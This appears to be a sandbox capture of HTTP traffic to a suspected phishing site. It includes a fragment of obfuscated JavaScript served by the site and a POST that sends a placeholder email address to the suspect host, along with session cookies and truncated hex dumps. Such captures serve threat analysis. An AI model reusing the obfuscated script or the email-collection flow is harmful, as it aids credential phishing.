2025-04-22 18:09:48 UTC	1369	IN	Data Raw: 68 6f 73 74 6e 61 6d 65 20 3a 20 65 62 4f 4e 63 45 55 4f 67 69 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 69 66 28 41 45 48 4a 55 73 48 76 42 64 20 3d 3d 20 49 59 4d 4c 44 49 71 49 65 63 29 7b 0d 0a 63 6f 6e 73 74 20 6a 64 44 55 77 4c 4f 4c 44 4b 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2a 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 24 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 65 62 4f 4e 63 45 55 4f 67 69 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 7b 0d 0a 65 62 4f 4e 63 45 55 4f 67 69 2e 70 Data Ascii: hostname : ebONcEUOgi.hostname.split('.').slice(-2).join('.');if(AEHJUsHvBd == IYMLDIqIec){const jdDUwLOLDK = window.location.pathname.split('*')[0].split('$')[0].split('%23')[0].split('%3F')[0];if (ebONcEUOgi.pathname.endsWith('/')) {ebONcEUOgi.p

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:47 UTC	1148	OUT	GET /cbAhwlmeXbVlfKI84BpDQEn248txtpk3zPYiXIme0PXcq HTTP/1.1 Host: ranr5.oqgriud.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkR4Z0NSZlNKOHRQZUJvUlBQT1BsTWc9PSIsInZhbHVlIjoiYVlkRGJqcU42NmFzV0pZcWFvd1lqZzBRbzZPM2YrK0djK1dHZFdkVFducUNvLzNvVEN4Y2hrYXFnV0NNbEp3ME5ZSFVoNEFiQnZJb0YzQmtoSVJtN1lOVEJpNTVTc3o1cXJUQm8vS0U3VFdUemlhSnZOaysrUjdsVEhmSWs3S2wiLCJtYWMiOiJiM2U2ZTU2ZmQ4MDZhNDQwNWZkNDFhNmQxMTE0NzgwYzExYWIxYjRmOGE3MDZmZjVhZDFkNzQwYjliY2Q1Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik8vaEduQkZ5aUtSUmg5VWxSbHgza0E9PSIsInZhbHVlIjoiS1VJZ0UzZTJZUEw0LzRxZzFHZXlhRVd2c0Rmc2lIcE1vY2pLYWtTTFdTTXp4ME5rQmV1cUp0ckp0aFdkOVRFQ3FheEpZaUEvQjFSdXE2TWtVL0ZJajdCMTlhWmhLQ2RYbm9yUitmczNIZ3V1MTUySWFWek9UR3psM0VZb3dCZWoiLCJtYWMiOiI2ZTEyNmNlNzMxZDEzYTJmMTg2ODJhNTVkMjc5NjhmNDU2MzI4ZDg1OGM5Mzk2MGI3YTU1YzY4NzEwZDJkZjJlIiwidGFnIjoiIn0%3D
2025-04-22 18:09:48 UTC	802	IN	HTTP/1.1 404 Not Found Date: Tue, 22 Apr 2025 18:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jss7srFG8DWeKuAFt6etXYycQ9uk67wg4lG5aTgeHZ4Zz5sU1uVf19xzL3qfkSNSOWT19PFLt81oUOKNtHLKtHYdQLmtA%2BiVpsMDbkQEXCzhb9yPyVwoF6zEePgh"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=428&min_rtt=373&rtt_var=148&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2055&delivery_rate=8169696&cwnd=252&unsent_bytes=0&cid=1f266da8d0734af7&ts=186&x=0" CF-RAY: 93471304cf4d368e-LHR alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:48 UTC	1473	OUT	POST /zcrk11ZEWLQrFq5pSgz11jbTQTALpuylahxbLuNPgZaipltLkPDfw HTTP/1.1 Host: ranr5.oqgriud.es Connection: keep-alive Content-Length: 24 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://ranr5.oqgriud.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImxGcmJ1UXhXYUtnZ1k0eHd3ZVM2TkE9PSIsInZhbHVlIjoib2JQUVdJa1JFSmhMZk5uQ3NXVlN5dmV2ekNISk4wV3p0NkJvcUdWU2kzUHBxUU9LMmwxN3ZBZDdhMFVKZy9WOFFOU3ZSQ0Y1dEhnLzFsR0VzVS9SUktjZUszVHlXb0Z6d212REtkZEdZS1gxcFZkTW9ua1lFekt1Z1A2OU5BOHAiLCJtYWMiOiJiYjQxYTM0MjBmNmU3NzE4ZmE2NjM2YmY4NzljMTEzNjUzYjI2MDAzZjNhZjI3MGRhNTBlYzRjOTIxMGQyYjc1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InlQc1NpbDVkNnZ1Z1ZzK2t2NEl3cWc9PSIsInZhbHVlIjoicjF6M3hLbFU0MXEydlM0OUFUWENmazc2ZjRZN1lHbUhzckdYZFlLejF6M3RXMlZ0TS80Z1N4U1B6cTRUOEFTUGRteXJTc3RmVUFMenpPZjA1dFVwSnYwOW5WT1EwblNPWVc4WVZSbXZhM2QwQ29EanBMRUh3NHg5NWZ2cGNMRHAiLCJtYWMiOiI1M2NhODQ4NTAwMTg5NzE1MTExNTgzZjEyMTYyZTdkYzY0MzNkYTkzZWU2NDMwMWZkZWNmNTAwYWQ3YzA2YjI0IiwidGFnIjoiIn0%3D
2025-04-22 18:09:48 UTC	24	OUT	Data Raw: 64 61 74 61 3d 57 51 65 6d 61 69 6c 25 34 30 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: data=WQemail%40gmail.com
2025-04-22 18:09:49 UTC	1233	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NpIw2EyOKEcf%2BxGYHlythqanUzl%2F0tYDYmEpI8cl1%2FVn%2F3gI%2BCYIdDLwVByXD39gt54jHmKnqPVvJo%2FJik%2BZlEl%2FK2rWU474YVshHEXIkuwnH9cW0ykPWKo1LgWc"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=323&min_rtt=316&rtt_var=102&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2404&delivery_rate=11171270&cwnd=252&unsent_bytes=0&cid=8e8a128178986db2&ts=178&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkhyYmxPUjZxaE1VRnpUMGI1VGgxTWc9PSIsInZhbHVlIjoiUThMQ01XYTNLZTV4ckJsREx5TUdLWTdXOHZiSDZFSXBjVU1Jb2RONUVrcW5ReFNBYzJWdFdreFYwSUZnWVZsUXlNeFVtZ3FZRXQ0bWRRZ2Q2b3dockJiNExFU05OVGZzUnJkREdmMnB4Q3pBV1lleDlSYWxKQ20rK1VRRnVQVmciLCJtYWMiOiJjNzVhZmZiOTBmMjZjNTdhYmI5NzljZDgyNjg0NzBjZjZmM2QzN2QxNDE4NTEwNzJjZGNhN2UxZjM5MWExMWQ5IiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 22 Apr 2025 20:09:49 GMT
2025-04-22 18:09:49 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 63 30 64 44 5a 44 63 44 68 53 55 6d 4e 75 63 6a 52 49 64 57 56 46 52 6b 63 72 4d 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 6e 5a 56 55 32 77 34 52 47 39 33 4d 45 77 30 56 6e 4e 6c 55 6e 6c 53 65 43 74 75 55 54 6c 75 5a 46 4e 71 55 53 39 48 59 32 31 74 64 6e 64 68 65 55 68 4a 61 58 64 34 61 56 4a 46 59 30 52 4b 54 45 35 30 64 57 31 45 63 57 78 6e 53 47 68 6d 61 56 52 46 54 45 31 44 61 6d 45 31 59 54 46 6a 51 57 56 32 65 47 77 7a 52 30 4a 68 59 55 35 36 61 33 49 30 59 6e 49 32 55 54 41 76 61 48 5a 35 55 31 5a 68 4c 32 68 35 4e 46 46 77 4e 6e 46 30 4d 6d 6f 30 51 55 59 34 53 58 4e 4b 51 6e 64 7a 54 30 74 58 63 6d 52 4f 5a 32 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ijc0dDZDcDhSUmNucjRIdWVFRkcrMmc9PSIsInZhbHVlIjoiWnZVU2w4RG93MEw0VnNlUnlSeCtuUTluZFNqUS9HY21tdndheUhJaXd4aVJFY0RKTE50dW1EcWxnSGhmaVRFTE1DamE1YTFjQWV2eGwzR0JhYU56a3I0YnI2UTAvaHZ5U1ZhL2h5NFFwNnF0Mmo0QUY4SXNKQndzT0tXcmROZ2Q
2025-04-22 18:09:49 UTC	318	IN	Data Raw: 31 33 37 0d 0a 7b 22 61 22 3a 22 47 55 75 62 47 74 65 38 35 50 4a 7a 47 68 32 76 61 33 2b 79 44 74 6b 63 59 77 4e 4f 34 5a 76 79 6f 4e 45 49 35 47 63 6f 35 76 46 5c 2f 61 73 32 6f 47 6d 65 46 6e 61 5a 48 70 38 47 57 45 65 44 52 45 75 4f 54 56 4a 54 47 52 61 62 41 79 42 31 55 65 6d 35 2b 4b 35 71 5a 59 30 51 52 71 56 58 73 31 35 66 55 6c 38 5c 2f 61 79 37 63 32 62 70 68 42 44 35 76 68 45 78 31 50 4e 5a 74 56 44 57 35 55 57 4d 6e 48 50 47 74 52 6e 79 75 65 6a 4d 6f 77 73 6c 46 48 47 77 3d 3d 22 2c 22 62 22 3a 22 37 38 64 65 61 32 34 38 62 39 64 33 65 66 63 32 34 64 35 39 35 37 62 37 32 32 61 61 66 39 30 35 22 2c 22 63 22 3a 22 37 65 38 35 35 64 64 34 38 32 30 62 62 35 33 38 39 65 32 33 36 66 66 38 39 30 63 36 64 38 66 35 22 2c 22 64 22 3a 22 33 38 33 35 36 Data Ascii: 137{"a":"GUubGte85PJzGh2va3+yDtkcYwNO4ZvyoNEI5Gco5vF\/as2oGmeFnaZHp8GWEeDREuOTVJTGRabAyB1Uem5+K5qZY0QRqVXs15fUl8\/ay7c2bphBD5vhEx1PNZtVDW5UWMnHPGtRnyuejMowslFHGw==","b":"78dea248b9d3efc24d5957b722aaf905","c":"7e855dd4820bb5389e236ff890c6d8f5","d":"38356
2025-04-22 18:09:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:49 UTC	1342	OUT	GET /favicon.ico HTTP/1.1 Host: ranr5.oqgriud.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImxGcmJ1UXhXYUtnZ1k0eHd3ZVM2TkE9PSIsInZhbHVlIjoib2JQUVdJa1JFSmhMZk5uQ3NXVlN5dmV2ekNISk4wV3p0NkJvcUdWU2kzUHBxUU9LMmwxN3ZBZDdhMFVKZy9WOFFOU3ZSQ0Y1dEhnLzFsR0VzVS9SUktjZUszVHlXb0Z6d212REtkZEdZS1gxcFZkTW9ua1lFekt1Z1A2OU5BOHAiLCJtYWMiOiJiYjQxYTM0MjBmNmU3NzE4ZmE2NjM2YmY4NzljMTEzNjUzYjI2MDAzZjNhZjI3MGRhNTBlYzRjOTIxMGQyYjc1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InlQc1NpbDVkNnZ1Z1ZzK2t2NEl3cWc9PSIsInZhbHVlIjoicjF6M3hLbFU0MXEydlM0OUFUWENmazc2ZjRZN1lHbUhzckdYZFlLejF6M3RXMlZ0TS80Z1N4U1B6cTRUOEFTUGRteXJTc3RmVUFMenpPZjA1dFVwSnYwOW5WT1EwblNPWVc4WVZSbXZhM2QwQ29EanBMRUh3NHg5NWZ2cGNMRHAiLCJtYWMiOiI1M2NhODQ4NTAwMTg5NzE1MTExNTgzZjEyMTYyZTdkYzY0MzNkYTkzZWU2NDMwMWZkZWNmNTAwYWQ3YzA2YjI0IiwidGFnIjoiIn0%3D
2025-04-22 18:09:50 UTC	838	IN	HTTP/1.1 404 Not Found Date: Tue, 22 Apr 2025 18:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ubwq17uzy99XM13g1v3RIjOF8WvLEXAqa8ESgXSZlV%2FN4FK987bGpBrKKzrE37KSjKlrHEG2L5OtYjJkxfIipj5FFq1kxOgaZ2qdC4SL82GiGyGFQLBvQvxn46M%2F"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=15710&min_rtt=15709&rtt_var=4421&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2250&delivery_rate=257284&cwnd=252&unsent_bytes=0&cid=fe5affe33dc9c30a&ts=196&x=0" Cache-Control: max-age=14400 Cf-Cache-Status: EXPIRED CF-RAY: 9347130d5b95732d-LHR alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:49 UTC	529	OUT	OPTIONS /report/v4?s=Jss7srFG8DWeKuAFt6etXYycQ9uk67wg4lG5aTgeHZ4Zz5sU1uVf19xzL3qfkSNSOWT19PFLt81oUOKNtHLKtHYdQLmtA%2BiVpsMDbkQEXCzhb9yPyVwoF6zEePgh HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ranr5.oqgriud.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:49 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 22 Apr 2025 18:09:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:49 UTC	504	OUT	POST /report/v4?s=Jss7srFG8DWeKuAFt6etXYycQ9uk67wg4lG5aTgeHZ4Zz5sU1uVf19xzL3qfkSNSOWT19PFLt81oUOKNtHLKtHYdQLmtA%2BiVpsMDbkQEXCzhb9yPyVwoF6zEePgh HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 431 Content-Type: application/reports+json Origin: https://ranr5.oqgriud.es User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:49 UTC	431	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 36 39 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 35 2e 33 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 72 61 6e 72 35 2e 6f 71 67 72 69 75 64 2e 65 73 Data Ascii: [{"age":0,"body":{"elapsed_time":1690,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.35.32","status_code":404,"type":"http.error"},"type":"network-error","url":"https://ranr5.oqgriud.es
2025-04-22 18:09:50 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 22 Apr 2025 18:09:50 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:49 UTC	1156	OUT	GET /zcrk11ZEWLQrFq5pSgz11jbTQTALpuylahxbLuNPgZaipltLkPDfw HTTP/1.1 Host: ranr5.oqgriud.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkhyYmxPUjZxaE1VRnpUMGI1VGgxTWc9PSIsInZhbHVlIjoiUThMQ01XYTNLZTV4ckJsREx5TUdLWTdXOHZiSDZFSXBjVU1Jb2RONUVrcW5ReFNBYzJWdFdreFYwSUZnWVZsUXlNeFVtZ3FZRXQ0bWRRZ2Q2b3dockJiNExFU05OVGZzUnJkREdmMnB4Q3pBV1lleDlSYWxKQ20rK1VRRnVQVmciLCJtYWMiOiJjNzVhZmZiOTBmMjZjNTdhYmI5NzljZDgyNjg0NzBjZjZmM2QzN2QxNDE4NTEwNzJjZGNhN2UxZjM5MWExMWQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijc0dDZDcDhSUmNucjRIdWVFRkcrMmc9PSIsInZhbHVlIjoiWnZVU2w4RG93MEw0VnNlUnlSeCtuUTluZFNqUS9HY21tdndheUhJaXd4aVJFY0RKTE50dW1EcWxnSGhmaVRFTE1DamE1YTFjQWV2eGwzR0JhYU56a3I0YnI2UTAvaHZ5U1ZhL2h5NFFwNnF0Mmo0QUY4SXNKQndzT0tXcmROZ2QiLCJtYWMiOiI2MDhlMjc1OTI2Zjc3ZGFiNmVhZmYwN2E4ODJjMDJmZWFkYzhlNjEwMTdmMWViMDJlYzlhMzRlZDczYTQ5NDcwIiwidGFnIjoiIn0%3D
2025-04-22 18:09:50 UTC	809	IN	HTTP/1.1 404 Not Found Date: Tue, 22 Apr 2025 18:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uKDr%2FyHya2LKI70dsZNJBDtoxxWKOtUC5aehGiqglYk79p3rGxVysl1cWh5rgWoswAJ%2FGn6s5Eek0%2BqjjzSJpHzLd4h8sqU30eb34DYNiGd07otDhfjsjeRv%2Bi7Y"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=333&min_rtt=309&rtt_var=102&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2063&delivery_rate=11824561&cwnd=252&unsent_bytes=0&cid=cc0c2aa86efdab5f&ts=187&x=0" CF-RAY: 934713116bc4ef98-PDX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0